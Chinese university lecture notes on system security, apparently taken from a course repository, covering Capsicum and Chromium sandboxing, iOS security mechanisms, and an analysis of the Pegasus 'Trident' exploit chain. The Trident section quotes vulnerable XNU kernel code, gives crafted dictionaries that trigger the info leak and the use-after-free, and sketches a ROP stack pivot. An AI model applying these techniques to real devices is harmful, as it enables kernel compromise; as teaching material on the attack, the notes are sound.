| 153 | - `procstat -fC`显示进程能力,`stdin`能力只有`fs`(`fstat()`) 154 | 155 | ``` 156 | PID COMM FD T FLAGS CAPABILITIES PRO NAME 157 | 1268 tcpdump 0 v rw------c fs - /dev/pts/0 158 | 1268 tcpdump 1 v -w------c wr,se,fs - /dev/null 159 | 1268 tcpdump 2 v -w------c wr,se,fs - /dev/null 160 | 1268 tcpdump 3 v rw------- - - /dev/bpf 161 | ``` 162 | 163 | - `ktrace`显示`tcpdump`使用DNS需要访问文件和网络,而这些在能力模式下已经被禁止,因而出错 164 | - 这也指出了一个软件设计问题:有些特权是按需的,并不是在程序启动时就需要,因此,沙箱化也需要在软件设计之处就考虑到 165 | 166 | ```c 167 | 1272 tcpdump CALL open(0x80092477c,O_RDONLY,0x1b6) 168 | 1272 tcpdump NAMI "/etc/resolv.conf" 169 | 1272 tcpdump RET connect -1 errno 78 Function not implemented 170 | 1272 tcpdump CALL socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP) 171 | 1272 tcpdump RET socket 4 172 | 1272 tcpdump CALL connect(0x4,0x7fffffffe080,0x10) 173 | 1272 tcpdump RET connect -1 errno 78 Function not implemented 174 | ``` 175 | 176 | ### 应用于GZIP的例子 177 | 178 | - `gzip`以环境用户特权运行,没有隔离机制 179 | - 分离两部分代码: 180 | - 需要环境特权的部分(打开文件,建立网络连接) 181 | - 主循环:读取命令行参数,识别处理和发送结果的流和对象,将输入输出文件描述符交给压缩例程 182 | - 执行有风险活动的(处理数据,管理缓冲区) 183 | - 沙箱化压缩例程 184 | - `gz_compress` - RPC `PROXIED_GZ_COMPRESS` 185 | - `gz_uncompress` - RPC `PROXIED_GZ_UNCOMPRESS` 186 | - `unbzip2` - RPC `PROXIED_UNBZIP2` 187 | - 每个RPC向沙箱传递输入/输出两个能力,以及返回大小,源文件名,修改时间等 188 | - 修改16%的`gzip`代码(409行),主要是与RPC相关 189 | - 其他方案: 190 | - Principle of Least Authority Shell (PLASH):shell以环境特权运行,管道组件沙箱化;这适合`gzip`以管道方式运行,但以非管道方式运行时需要一些环境特权 191 | - 沙箱化库`libz`:问题是`libz`提供基于buffer的API,通过RPC传递代价较高 192 | 193 | ## Google Chromium沙箱 194 | 195 | 参考资料:[The Chromium Projects - Sandbox](https://www.chromium.org/developers/design-documents/sandbox) 196 | 197 | ### 设计原则 198 | 199 | - 不要重新发明车轮:利用操作系统现有安全机制 200 | - 虽然用更好的安全模型来扩展OS内核看上去很诱人,但千万不要! 201 | - 让操作系统将其安全机制应用于它控制的对象 202 | - 可以创建应用级对象具有定制的安全模型 203 | - 最小特权原则: 204 | - 应该应用于沙箱化代码,以及控制沙箱的代码 205 | - 假设沙箱化代码是恶意代码: 206 | - 威胁模型是一旦执行路径到达了`main()`函数中前几个调用之后,沙箱中就会运行恶意代码 207 | - 实践中是在第一个外部输入被接受时,或在进入主循环之前 208 | - 快捷(Be nimble): 209 | - 非恶意代码不会访问不能获得的资源,因此沙箱对性能影响接近零 210 | - 敏感资源被访问时的例外情况有性能损失是可接受的 211 | - 仿真不是安全(Emulation is not security): 212 | - 仿真和虚拟机解决方案本身并不提供安全 213 | - 沙箱不应该依赖于代码仿真,代码转换,或打补丁来提供安全 214 | 215 | ### Linux沙箱技术 216 | 217 | 采用多进程模型,为浏览器中不同部分分配不同特权。用于Zygote进程(渲染器,[PPAPI](https://en.wikipedia.org/wiki/Google_Native_Client#Pepper),[NaCl](https://en.wikipedia.org/wiki/Google_Native_Client),等)。[[参考]](https://chromium.googlesource.com/chromium/src/+/master/docs/linux_sandboxing.md) 218 | 219 | 220 | #### 分层法 221 | 222 | - Layer-1 (“语义层(semantics)”): 采用setuid(旧内核)和namespaces(新内核)沙箱阻止进程访问绝大多数资源 223 | - 用于保证运行不同Seccomp-BPF策略的进程完整性 224 | - 用于限制网络访问 225 | - Layer-2 (“攻击面缩减层(attack surface reduction)” ):采用Seccomp-BPF限制进程访问内核的攻击面 226 | - 过滤系统调用接口 227 | - 难以保证运行不同Seccomp-BPF策略的进程间不相互干扰 228 | - 与Layer-1一起沙箱化GPU进程 229 | - 曾经采用,被已废弃的技术:Seccomp-legacy, SELinux, Apparmor 230 | 231 | #### 在实现Chromium浏览器时比较(来自[Capsicum 2004](supplements/Capsicum.pdf)): 232 | 233 | ``` 234 | OS Model Loc Description 235 | ———————————————————————————————————————————————————————————————————————————— 236 | Windows ACL 22,350 Windows ACLs and SIDs 237 | Linux chroot 605 setuid root helper sandboxes renderer 238 | ———————————————————————————————————————————————————————————————————————————— 239 | Mac OS X Seatbelt 560 Path-based MAC sandbox 240 | Linux SELinux 200 Restricted sandbox type enforcement domain 241 | ———————————————————————————————————————————————————————————————————————————— 242 | Linux seccomp 11,301 seccomp and userspace syscall wrapper 243 | FreeBSD Capsicum 100 Capsicum sandboxing using cap_enter 244 | 245 | ``` 246 | --- 247 | 248 | -------------------------------------------------------------------------------- /system-security/ios-security.md: -------------------------------------------------------------------------------- 1 | # 移动系统安全 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2016-2018 4 | 5 | --- 6 | 7 | 本课程学习Apple iOS中安全机制,以及最近披露的首个用于攻击的远程越狱漏洞“三叉戟”及Pegasus恶意软件。主要内容更新截止于2016年iOS9。 8 | 9 | 参考资料: 10 | 11 | - [Apple Security Updates](https://support.apple.com/en-us/HT201222) 12 | - [iOS Security Guide (iOS12, 2018) [local]](supplements/iOS_Security_Guide.pdf) [[online]](http://www.apple.com/business/docs/iOS_Security_Guide.pdf) 13 | - [Analysis and exploitation of Pegasus kernel vulnerabilities [local]](supplements/Pegasus.pdf) 14 | [[online]](http://jndok.github.io/2016/10/04/pegasus-writeup/) [[POC]](https://github.com/jndok/PegasusX) 15 | - [iOS Hackers Handbook](https://www.amazon.com/iOS-Hackers-Handbook-Charlie-Miller/dp/1118204123) 16 | 17 | ## iOS安全体系结构 18 | 19 | 20 | ``` 21 | +————————————————————————————————+ 22 | | +————————————————————————————+ | 23 | | | +————————————————————————+ | | 24 | | | | +————————————————————+ | | | 25 | | | | | Data Protection | | | | 26 | | | | | Class | | | | <———— encrypted by per-file key 27 | | | | +————————————————————+ | | | 28 | | | | App Sanbox | | | <———— permission/MAC/entitlement 29 | | | +————————————————————————+ | | 30 | | | User Partition (Encrypted) | | <———— encrypted by file system key 31 | | +————————————————————————————+ | 32 | | +————————————————————————————+ | 33 | | | OS Partition | | <———— mounted as read-only 34 | | +————————————————————————————+ | 35 | | File system | 36 | +————————————————————————————————+ 37 | Software 38 | | 39 | Hardware and Firmware 40 | +————————————————————————————————+ 41 | | Kernel | <———— trusted, enforcing security measures 42 | | +———————————————+ +—————————+ | 43 | | | Secure | | Secure | | <—— coprocessor for crypto operations 44 | | | Enclave | | Element | | <—— Java Card platform for payment 45 | | +———————————————+ +—————————+ | 46 | +————————————————————————————————+ 47 | +————————————————————————————————+ 48 | | Crypto Engine | <———— hardware AES engine 49 | +————————————————————————————————+ 50 | +————————————————————————————————+ 51 | | Device Key, Group Key | <———— secret keys for device 52 | | Apple Root Certificate | <———— root public key from Apple 53 | +————————————————————————————————+ 54 | ``` 55 | 56 | 安全技术: 57 | 58 | 盘古团队总结的iOS主要安全功能时间线:([Hacking from iOS8 to iOS9 (Pangu Team @ RUXCON 2015 / POC 2015)](http://blog.pangu.io/wp-content/uploads/2015/11/POC2015_RUXCON2015.pdf)): 59 | 60 | - 1.x:无保护 61 | - 2.x:Code Signing:代码签名防止代码被篡改,并禁止非授权应用 62 | - 4.3:ASLR:地址空间布局随机化增加攻击者预测目的地址难度 63 | - 6:KASLR(Kernel ASLR):随机化内核镜像/`kernel_map`的基地址 64 | - 7:Touch ID:指纹识别,增强认证 65 | - 8:Team ID:程序只能链接同一Team ID的库(阻止将动态库加载到任意App中) 66 | - 9:KPP(Kernel Patch Protection):防止内核被篡改 67 | 68 | 其他重要技术: 69 | 70 | - 更小的受攻击面:减少系统输入,不支持Java和Flash,支持更少的pdf特性 71 | - 精简过的iOS:减少系统内部,没有shell 72 | - 特权分离:用户、组、文件权限, 73 | - DEP(数据执行保护):不允许数据被执行 74 | - 沙箱:提供更细粒度的隔离 75 | 76 | ## 系统安全 77 | 78 | ### 安全启动链(Secure Boot Chain) 79 | 80 | 1. 启动 -- 执行 --> Boot ROM (只读存储,作为硬件信任根) 81 | 2. -- 包含 --> Apple Root CA公钥 82 | 2. -- 签名验证 --> Low-Level Bootloader (LLB) 83 | - 若Boot ROM不能载入或验证LLB,进入DFU(Device Firmware Upgrade)模式 84 | 3. -- 签名验证 --> iBoot (the Interactive BOOT menu system) 85 | 4. -- 签名验证 --> iOS内核(XNU) 86 | - 若载入或验证失败,进入“Connect to iTunes”界面 (recovery mode) 87 | 88 | - 基带子系统和Secure Enclave采用类似的安全启动方案 89 | - [**Pwnage漏洞**](https://www.theiphonewiki.com/wiki/Pwnage):iPhone,iPod touch和iPhone 3G中,Boot ROM没有检查LLB签名 90 | 91 | ### 系统软件授权(System Software Anthorization) 92 | 93 | - SSA保证系统完整性 并 阻止降级安装系统 94 | - iOS更新安装过程中,连接到安装授权服务器,发送: 95 | - 一个列表包括每个安装组件(例如,LLB,iBoot,内核,OS镜像)的密码学测量值 96 | - 一个随机防重放值(nonce) 97 | - 设备的唯一ID(ECID(Exclusive Chip ID)) 98 | - 授权服务器比较测量值列表与允许安装版本,若匹配,则将ECID加入测量值并签名,回传 ["SHSH blobs"](https://en.wikipedia.org/wiki/SHSH_blob) 给设备 99 | - 加入ECID是为了“个性化”授权,令一个设备上的旧版本iOS不能拷贝到其他设备 100 | - **漏洞**:iOS 3和4中,没有包括nonce,可被重放攻击来降级恢复到旧版本 101 | 102 | ### KPP 103 | 104 | KPP(Kernel Patch Protection)防止运行时内核被篡改 105 | 106 | ARMv8-A架构定义了四个例外层级,分别为EL0到EL3,其中数字越大代表特权(privilege)越大: 107 | 108 | - EL0: 无特权模式(unprivileged) 109 | - EL1: 操作系统内核模式(OS kernel mode) 110 | - EL2: 虚拟机监视器模式(Hypervisor mode) 111 | - EL3: TrustZone monitor mode 112 | 113 | KPP就是运行在Application Process的EL3中,目的是用来保证:只读的页不可修改、page table不可修改、执行页不可修改。 114 | 115 | ### 安全飞地(Secure Enclave) 116 | 117 | - Secure Enclave(SE)是Apple A7及后继处理的协处理器 118 | - 加密存储,硬件随机数产生器,实现Data Protection密钥管理和完整性的全部密码学操作 119 | - 处理Touch ID传感器数据 120 | - Touch ID数据交给处理器,处理器转发数据给SE 121 | - 处理器不能读取数据,因为采用了一个会话密钥来加密并认证数据(密码学方案[AES-CCM](https://en.wikipedia.org/wiki/CCM_mode)) 122 | - 会话密钥来自于Touch ID传感器和Secure Encalve基于共享密钥的协商 123 | 124 | ### Touch ID 125 | 126 | - 用于解锁屏幕,从iTunes Store购物,第三方app认证,Keychain认证 127 | - 比passcode更安全,更方便 128 | - 指纹识别1个手指与其他人随机匹配的概率是1/50,000,只允许连续尝试5次 129 | - 指纹扫描信息临时存储在SE中加密内存,有损处理后丢弃重构指纹所需信息,得到的结果图加密存储在SE中,不会发送给Apple或在iCloud或iTunes中备份 130 | 131 | - Touch ID如何锁定设备: 132 | - 当Touch ID关闭,当设备锁定时,SE中Data Protection中Complete类的密钥集合C被丢弃,该类中的文件和keychain都不可访问;直到用户用passcode来解锁,重新获得C 133 | - 当Touch ID启动 (监测到有手指) 134 | - 当设备锁定时,密钥集合C并不丢弃,而是用另一个密钥K来封装,K交给SE中的Touch ID子系统 135 | - 当用户解锁设备时,用K来解密C 136 | - Touch ID解锁设备所需K将丢失,若 137 | - 设备重启 138 | - 被SE在48小时后丢弃 139 | - Touch ID识别失败5次 140 | 141 | ## 加密和数据保护 142 | 143 | ### 硬件安全特征 144 | 145 | 为提高速度并节能,iOS设备中包含一个专用AES256密码学引擎,位于闪存和主系统内存之间DMA路径上 146 | 147 | 设备UID和GID是AES 256比特密钥,在制造过程中融合(UID)或编译(GID)到应用处理器和SE,没有软硬件可以读取这些密钥 148 | 149 | - UID(唯一ID)密钥: 每个设备唯一,未被Apple或制造商记录 150 | - UID令数据与设备绑定,若将一台设备内存芯片移植到另一台设备,也不能访问其中文件 151 | - GID(组ID)密钥: 一类设备(例如所有Apple A8处理器设备)共用一个GID 152 | 153 | - 其他密钥来自于随机数生成器 154 | - 熵来自于启动时计时变量,以及启动之后的中断时刻 155 | - 密钥在SE内生成,使用基于多环震荡器与CTR_DRB算法的硬件随机数生成器 156 | - 密钥删除:可抹去存储器(Effaceable Storage)直接访问底层存储技术来删除少量块数据 157 | 158 | ### 文件数据保护 159 | 160 | 数据保护(Data Protection,DP)通过构造和管理一个密钥层级实现,在硬件加密技术之上构建。 161 | 162 | - 文件元数据用一个随机文件系统密钥FSK加密 163 | - FSK在iOS首次安装或用户冲刷系统时创建,用UID封装 164 | - FSK存储在可抹去存储器中,其目的不是保密数据,而是在删除所有用户内容和设定时使用 165 | - 每次在数据分区中创建文件时,DP创建一个新的256位密钥FK(per-file key) 166 | - 利用硬件AES引擎以AES CBC(或A8处理器的[AES-XTS](https://en.wikipedia.org/wiki/Disk_encryption_theory#XTS))模式来加密文件 167 | - 初始向量(IV)根据块偏移量计算,用FK的SHA-1哈希值来加密 168 | - 为文件分配class,用一个class密钥CK来封装FK(RFC3394) 169 | - 并存储在文件元数据中 170 | - CK用UID来封装;部分CK也需要用Passcode封装 171 | - 打开文件时,用FSK解密元数据,用CK解密封装的FK,用FK解密文件 172 | - 所有封装FK处理在SE中执行,FK从来不暴露给应用处理器 173 | - 启动时,SE和AES引擎协商一个临时密钥EK,用EK来封装FK,再传递给应用处理器 174 | 175 | ``` 176 | +————————————+ +———————————————+ 177 | |Hardware Key|———————————————————>|File System Key| 178 | | (UID) | | (FSK) | 179 | +————————————+ +———————————————+ 180 | | | 181 | +—————————>+—————————+ +———————v———————+ +————————+ 182 | |Class Key|—————>| File Metadata |—————>|File | 183 | +—————————>| (CK) | | File Key (FK) | |Contents| 184 | | +—————————+ +———————————————+ +————————+ 185 | +————————————+ 186 | |Passcode Key| 187 | +————————————+ 188 | ``` 189 | 190 | 优点:层次化密钥方案提供了灵活性,改变passcode只需重新封装CK,改变文件class只需重新封装FK。 191 | 192 | ### Passcode 193 | 194 | - 一旦设定passcode,自动启用数据保护功能 195 | - passcode与UID混合 196 | - 每次尝试需要80ms,破解6个字符(数字与小写字母)passcode需要5年半 197 | - Touch ID是一种更方便,但更强大的passcode 198 | - 可以设定连续10次passcode错误后,删除所有数据 199 | 200 | ### 数据保护类(Data Protection classes) 201 | 202 | - 完全保护(Complete Protection): 203 | - CK被由UID和passcode得到密钥来加密保护 204 | - 在设备锁定很短时间后,解密后的CK被丢弃 205 | - 直到用户输入passcode或用TouchID解锁设备,此前该类数据无法访问 206 | - Protected Unless Open(PUO): 207 | - 一些文件需要在设备锁定时创建,例如后台下载的电子邮件附件 208 | - 问题:在创建文件时,因为没解锁,不能获得加密FK用的CK,该怎么办? 209 | - 用非对称密码ECDH over Curve25519实现([NIST SP 800-56A](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-56Ar2.pdf)):创建文件时不需要CK,打开文件时才需要CK 210 | - 为类生成一个静态公私钥对C-PK/SK,C-PK不需要保密,C-SK未解锁时需要保密 211 | - 创建文件时,为文件生成临时公私钥F-PK/SK;用F-SK与C-PK协商出一个共享密钥SK 212 | - SK将FK加密封装;F-PK与封装的FK一起存储;F-SK可以丢弃 213 | - 需打开文件时,解锁系统获得C-SK,用C-SK与F-PK重新生成相同的SK,解密FK 214 | - 一个例子就是类似DH密钥交换协议:`x`是C-SK,`g^x`是C-PK;`y`是F-SK,`g^y`是F-PK;SK就是`g^{xy}` 215 | - Protect Until First User Anthentication(PUFUA) : 216 | - 与完全保护类一样,除了当设备锁定后,并不从内存中丢弃CK 217 | - 用于系统软件Calendar, Contacts, Reminders, Notes, Messages, Photos 218 | - 用于所有未分配DP类的第三方应用数据 219 | - 无保护(No Protection): 220 | - 若文件没有分配DP类,仍然以加密形式存储 221 | - 只使用UID来保护CK,并将封装的CK存储在ES中 222 | - 主要目的是方便实现快速删除 223 | 224 | ### 密钥链数据保护(Keychain Data Protection) 225 | 226 | 许多应用需要处理口令和小块的敏感数据,例如密钥和登录令牌。Keychain提供了一种安全存储方案。 227 | 228 | - Keychain实现为文件系统中的一个SQLite数据库,只有一个 229 | - `securityd`精灵进程确定每个进程或App能够访问的Keychain条目 230 | - 访问组允许Keychain条目在同一开发者的App间共享 231 | - Keychain数据采用与文件DP类似的类结构 232 | - iOS创建的一些条目,例如Wi-Fi口令,邮箱账户,社交网络账号令牌,采用PUFUA类 233 | - Keychain可以采用ACL来设置访问和认证策略 234 | 235 | ### 密钥包(Keybags) 236 | 237 | 在Keybag中管理文件和Keychain DP类密钥。 238 | 239 | - 5个Keybag:user,device,backup,escrow,iCloud Backup 240 | - user:设备正常操作所用的类密钥,通常被passcode保护 241 | - device:设备相关数据所用类密钥,单用户时,与user是同一个Keybag 242 | - backup:当iTunes做加密备份时创建,存储在计算机上;备份数据用新生成的密钥来重新加密 243 | - escrow:用于iTunes同步,允许iTunes在用户不输入passcode时备份和同步,存储在计算机上 244 | - iCloud backup:与backup类似,其中的类密钥都是非对称的,类似PUO类 245 | - 为什么用非对称?因为假设iCloud上不可信的 246 | 247 | ## App安全 248 | 249 | ### App代码签名 250 | 251 | - 强制代码签名将信任链概念从操作系统扩展到App 252 | - 设备自带应用,例如Mail和Safari,由Apple签名 253 | - 所有第三方App可执行代码需要用Apple颁发的证书来签名,防止使用未签名代码资源或使用自更改代码 254 | - 所有开发者需要注册,加入开发者计划,用Apple颁发证书来签名App,提交到App Store 255 | - [开发者证书滥用漏洞](https://www.theiphonewiki.com/wiki/Misuse_of_enterprise_and_developer_certificates):用于运行盗版软件,或越狱程序 256 | - Apple Developer Enterprise Program (ADEP)允许企业开发内部App,用户安装苹果颁发的企业Provisioning Profile来运行内部App 257 | 258 | [Sandjacking攻击](https://threatpost.com/sandjacking-attack-puts-ios-devices-at-risk-to-rogue-apps/118375/): 259 | 260 | ### 运行时进程安全 261 | 262 | - 所有第三方App被沙箱化,被随机分配一个唯一目录,只能访问自己的文件 263 | - 基于TrustedBSD框架的强制访问控制(类似seccomp) 264 | - 只能或通过iOS服务访问其他信息,后台运行通过系统API 265 | - iOS的绝大部分和所有第三方App以非特权用户“mobile”来运行 266 | - 漏洞:2009年的iOS2,短信处理以“root”运行;该问题在iOS3.0.1中修复,短信处理以“_wireless”用户运行 267 | - iOS系统分区是只读的,禁止篡改 268 | - 访问特权信息或行使其他特权都通过声明权利(entitlement)来实现 269 | - 权利是Key-Value对,被签名,不能更改 270 | - 第三方App访问用户信息,iCloud或扩展需要声明权利 271 | - 系统App和精灵进程执行特权操作通过申明特权,而不需要以root来运行 272 | - 采用地址空间布局随机化(ASLR)来防御内存破坏,Xcode采用ASLR来编译第三方App 273 | - 采用ARM Execute Never (XN)来令内存页不可执行 274 | - 采用Apple-only dynamic code-signing权利来令内存页可写与可执行 275 | - Safari以此实现JavaScript JIT编译器 276 | - 沙箱(访问控制)不能完全阻止软件恶意行为: 277 | - [XcodeGhost攻击](https://en.wikipedia.org/wiki/XcodeGhost):2015年9月,阿里巴巴发现国内下载的Xcode中被插入恶意代码,凡是用篡改后的Xcode编译的App都会将设备和用户信息上传到攻击者服务器。防御方法是检查Xcode真伪并开启[Gatekeeper](https://en.wikipedia.org/wiki/Gatekeeper_(macOS)) 278 | 279 | ### 扩展(Extension) 280 | 281 | iOS允许一个App通过Extension为其他App提供功能,扩展是一个专用被签名的可执行文件。 282 | 283 | - 系统之支持扩展的部分称作“扩展点(extension point)”,系统根据规则按需启动扩展进程 284 | - 扩展在自己地址空间运行,扩展和调用它的App间通过IPC通信,不能访问彼此文件或内存空间 285 | - 授权给App的隐私控制访问也会被其扩展继承,但不会扩大到调用扩展的App 286 | 287 | 定制键盘是一种特殊扩展,应用于整个系统的文本域,除了passcode输入和其他安全文本视图。 288 | 289 | - 定制键盘在一个更受限的沙箱内运行 290 | - 不能访问网络 291 | - 不能代替一个进程来访问网络操作服务 292 | - 不能访问运行撤销键入数据的API 293 | - 定制键盘开发者可以申请开放访问(Open Access),在用户同意后可在缺省沙箱内运行 294 | 295 | ### 附件 296 | 297 | MFi(Made for iPhone/iPod/iPad)许可计划为附件制造商提供了iAP(iPod Accessories Protocol)和必要的支撑硬件组件。 298 | 299 | - MFi附件与iOS设备通过Lightning接口或蓝牙通讯时,需提供Apple颁发的证书 300 | - 验证过程通过定制集成电路实现,由Apple提供给制造商,对附件本身透明 301 | - 若附件不能提供认证,则只能访问模拟音频,和串行音频播放控制的一个子集 302 | - AirPlay/CarPlay利用授权IC来验证接收者是否被Apple批准 303 | - AirPlay音频/CarPlay视频流利用MFi-SAP(Secure Associateion Protocol)实现加密通信 304 | - 采用AES-128 CTR模式加密 305 | - 临时密钥采用ECDH密钥交换(Curve25519),用认证IC的1024位RSA密钥来签名 306 | 307 | --- 308 | 309 | ## “三叉戟”攻击与Pegasus 310 | 311 | 参考资料: 312 | 313 | - [The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender](https://citizenlab.org/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/) 314 | - [Technical Analysis of Pegasus Spyware (lookout.com)](https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf) 315 | 316 | [Pegasus](https://en.wikipedia.org/wiki/Pegasus_(spyware))是第一个被发现的用于定向攻击的远程越狱软件。该间谍软件通过诱骗用户点击一个网址(或利用[WAP Push](https://en.wikipedia.org/wiki/Wireless_Application_Protocol#WAP_Push)无须用户点击)发动攻击,能够读取短消息,邮件,口令,通讯录,窃听通话,录音,以及追踪位置,监测Gmail, Facebook, Skype, WhatsApp, Facetime, 微信等应用。在漏洞发现10天后,2016年8月25日Apple发布的iOS 9.3.5更新移除了该软件所利用的3个漏洞。 317 | 318 | 该软件被认为是以色列网络军火商NSO Group制作,一份授权卖25000美元。锁定NSO的线索在攻击负载中库文件里发现“_kPegasusProtocol”字段,而Pegasus是NSO集团产品。Pegasus相关信息出现在2015年[Hacking Team 数据泄露](https://en.wikipedia.org/wiki/Hacking_Team)之中。 319 | 320 | - 持久化:每次启动使用JavaScriptCore重新运行三叉戟攻击;并禁止自动更新,检测并删除其他越狱软件 321 | - 记录活动:基于Cydia Substrate实现对手机活动的全面记录 322 | - 数据渗漏(Exfiltration):攻击负载灯塔与C&C服务器间通过HTTPS伪装gmail信息来通信;窃取的数据通过PATN (Pegasus Anonymizing Transmission Network)回传给Pegasus数据服务器 323 | 324 | ### 三叉戟漏洞 325 | 326 | 参考资料:[Analysis and exploitation of Pegasus kernel vulnerabilities](supplements/Pegasus.pdf) 327 | [[online]](http://jndok.github.io/2016/10/04/pegasus-writeup/) [[POC]](https://github.com/jndok/PegasusX) 328 | 329 | 1. CVE-2016-4657:Safari的Webkit内核上的内存漏洞执行远程代码 330 | - CVE-2016-4655:内核信息泄露漏洞获得内核基址,绕过KASLR 331 | - CVE-2016-4656:内核UAF漏洞导致越狱 332 | 333 | 下面介绍攻击原理,具体代码和攻击细节与实际情况不一定相符。 334 | 335 | #### CVE-2016-4657 —— Webkit内存漏洞 336 | 337 | 点击攻击链接,打开Safari并下载恶意JavaScript,触发Safari WebKit中内存漏洞来在Safari上下文环境里执行任意代码。目前(截止20161024),该漏洞尚未完全披露。 338 | 339 | #### CVE-2016-4655 –– 内核信息泄露(Kernel Info-Leak) 340 | 341 | [KASLR](https://www.theiphonewiki.com/wiki/Kernel_ASLR)用于抵御ROP攻击,由iBoot实现内核映像基址(base)的随机化: 342 | 343 | `base=0x01000000+(slide_byte*0x00200000)` 344 | 345 | 在进行越狱之前,利用内核信息泄露来获取的内核栈中“函数返回地址”,进而计算KASLR中随机滑动量(slide)来确定内核基址。 346 | 347 | 漏洞发生在内核中[`OSUnserializeBinary`](https://github.com/jndok/xnu/blob/aea2bdfb13661311a23bc0659dd5104d48a10081/libkern/c%2B%2B/OSSerializeBinary.cpp#L258-L476)函数中,该函数将二进制格式数据转换为内核数据结构,输入为一串整型`unit32_t`: 348 | 349 | - 以`0x000000d3`开头 350 | - 后面是若干TLV(类型,大小,值),类型+大小在一个整数中 351 | - 类型字段中`0x80000000U`表示当前集合(collection)结束 352 | - 例如:下面包含两个集合,在最外层的集合包含一个dict,dict内的集合包含一个string(key)和一个布尔值(value) 353 | 354 | ```xml 355 | 356 | | | | 357 | 0x000000d3 0x81000000 0x09000004 0x00414141 0x8b000001 358 | | | | | | | 359 | <—————+ | | | | | 360 | AAA <+ length value | | 361 | 1 <————————————————————+ value 362 | 363 | ``` 364 | 365 | 内核信息泄露漏洞源于没有检查`OSNumber`输入长度: 366 | 367 | ```cpp 368 | case kOSSerializeNumber: 369 | ... 370 | o = OSNumber::withNumber(value, len); <-- NO CHECK ON len 371 | next += 2; 372 | break; 373 | ``` 374 | 375 | 攻击者通过在内核中注册一个包含恶意长度`OSNumber`的对象,从`OSNumber`边界之外读取内核栈中信息: 376 | 377 | 1. 构造一个包含过长`OSNumber`的序列化字典 378 | 2. 用该字典设定内核中的某些的属性 379 | 3. 读取该属性中`OSNumber`会触发去序列化函数 380 | 4. 导致邻接数据泄露,以此计算内核滑动量 381 | 382 | 字典示例: 383 | 384 | ```xml 385 | 386 | AAA 387 | 0x4141414141414141 388 | 389 | ``` 390 | 391 | 计算内核随机滑动量S的方法: 392 | 393 | - 从内核二进制映像中读取触发信息泄露的函数返回地址X 394 | - 在实际运行时,KASLR会将整个映像随机滑动S,返回地址X也同步滑动S 395 | - 利用内核信息泄露,读取运行时栈中该函数返回地址Y 396 | - 计算滑动量S=Y-X 397 | 398 | 为触发漏洞,向内核写入和读取数据采用[`IOUserClient`](https://developer.apple.com/library/content/samplecode/SimpleUserClient/Listings/User_Client_Info_txt.html)([中文资料](http://www.tanhao.me/pieces/1547.html/)),该类负责应用程序与内核驱动程序间连接。具体触发漏洞的函数为`io_registry_entry_get_property_bytes`,其中读取过长缓冲的代码如下: 399 | 400 | ```cpp 401 | ... 402 | else if( (off = OSDynamicCast( OSNumber, obj ))) 403 | { 404 | offsetBytes = off->unsigned64BitValue(); 405 | len = off->numberOfBytes(); /* reads out malformed length, 0x200 */ 406 | bytes = &offsetBytes; /* bytes* ptr points to a stack variable */ 407 | ... 408 | } 409 | ... 410 | *dataCnt = len; 411 | bcopy( bytes, buf, len ); /* data leak */ } 412 | ... 413 | ``` 414 | 415 | 从泄露的内存中读取函数返回地址后,计算滑动量。 416 | 417 | #### CVE-2016-4656 –– 内核释放后使用(Kernel Use-After-Free) 418 | 419 | [UAF(也称为“Dangling pointer”)](https://en.wikipedia.org/wiki/Dangling_pointer)漏洞是指堆中一块内存被释放后,指向该内存的指针仍被后续程序使用,导致异常。例如利用伪造C++中虚表(vtable)指针来夺取控制流。 420 | 421 | - 将一个已序列化的`OSString`字典key类型转换到`OSSymbol`时,一个`OSString`对象在被引用时未执行引用计数 422 | - 虽然之后该对象表面上被释放,但仍有指向该对象的指针并调用了方法(`retain()`) 423 | - 通过在释放后内存写入一个指向伪造的`OSString`对象虚表的指针,在调用方法时夺取控制流 424 | 425 | 在一个`objsArray`队列里添加了一个引用,但未计数: 426 | 427 | ```cpp 428 | define setAtIndex(v, idx, o) 429 | ... 430 | if (ok) v##Array[idx] = o; <-- WITHOUT REF_COUNT++ 431 | ``` 432 | 433 | 下面的`o->release()`释放一个`OSSString`对象,引用数减一: 434 | 435 | ```cpp 436 | ... 437 | else 438 | { 439 | sym = OSDynamicCast(OSSymbol, o); 440 | if (!sym && (str = OSDynamicCast(OSString, o))) { 441 | sym = (OSSymbol *) OSSymbol::withString(str); 442 | o->release(); <-- FREE OBJ; REF_COUNT-- 443 | o = 0; 444 | } 445 | ok = (sym != 0); 446 | } 447 | ``` 448 | 此后该对象被使用,并调用一个方法`retain`(功能是引用数加1): 449 | 450 | ```cpp 451 | case kOSSerializeObject: 452 | if (len >= objsIdx) break; 453 | o = objsArray[len]; <-- TO A FREED OBJ 454 | o->retain(); <-- USE; REF_COUNT++ 455 | isRef = true; 456 | break; 457 | ``` 458 | C++中,对象方法通过虚表来调用父类实现,通过伪造一个假虚表可以夺取控制流。对于`retain()`函数,`OSString`是`OSBbject`的子类,`retain()`实际是在`OSBbject`实现的。虚表指针位于对象的开头;在`OSData`对象开头放置假虚表指针,会覆盖`OSString`对象的虚表指针。 459 | 460 | 攻击者构造一个序列化的字典: 461 | 462 | ```xml 463 | 464 | AAA 465 | true 466 | 467 | BBB 468 | 469 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 470 | 471 | 472 | CCC 473 | 1 474 | 475 | ``` 476 | 用信息泄露中基于`IOUserClient`的类似方法,来触发UAF漏洞: 477 | 478 | 1. `OSString`对象“AAA”被分配32字节,被去序列化后立即被`release()` 479 | - 序列化一个32字节的`OSData`对象(内容全0)时,分配了刚刚释放的空间 480 | - `kalloc()`分配最近被释放的相同大小空间 481 | - `OSString`对象原来内容,包括虚表指针,被置0 482 | - 序列化一个指向对象1,即`OSString`的引用,调用`retain()` 483 | 484 | 利用UAF漏洞越狱过程如下(堆中地址从低到高增长): 485 | 486 | ``` 487 | +————————————————————————+ 488 | | | "_thread_exception_return" 489 | + + 490 | | | "_bzero" 491 | + + 492 | | | "_posix_cred_get" 493 | + + 494 | | | "_proc_ucred" 495 | + + 496 | | | "_current_proc" 497 | +————————————————————————+ <——————————————————+ 498 | ~ ... ~ | 499 | +————————————————————————+ | 500 | | retain() ptr |———> (1)stack pivot —+ | 501 | +——————————0x20——————————+ | | 502 | 